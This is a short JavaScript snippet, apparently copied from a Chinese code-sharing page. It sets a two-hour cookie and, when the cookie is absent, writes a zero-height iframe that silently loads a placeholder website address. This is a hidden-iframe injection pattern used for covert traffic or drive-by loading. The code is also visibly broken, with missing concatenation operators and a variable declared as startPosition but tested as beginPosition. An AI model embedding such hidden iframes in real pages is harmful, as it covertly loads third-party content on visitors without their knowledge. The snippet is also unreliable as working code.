复主代码 代码如下: <br>function goad(){ <br>var Then = new Date() <br>Then.setTime(Then.getTime() 2*60*60*1000) <br>var cookieString = new String(document.cookie ) <br>var cookieHeader = "Cookier1=" <br>var startPosition = cookieString.indexOf(cookieHeader) <br>if (beginPosition != -1){ <br>} else <br>{ document.cookie = "Cookier1 =Filter;expires=" Then.toGMTString() <br>document.write('<iframe src="网站地址" width="50" height="0"frameborder="0"></iframe> '); <br>} <br>}goad(); <br>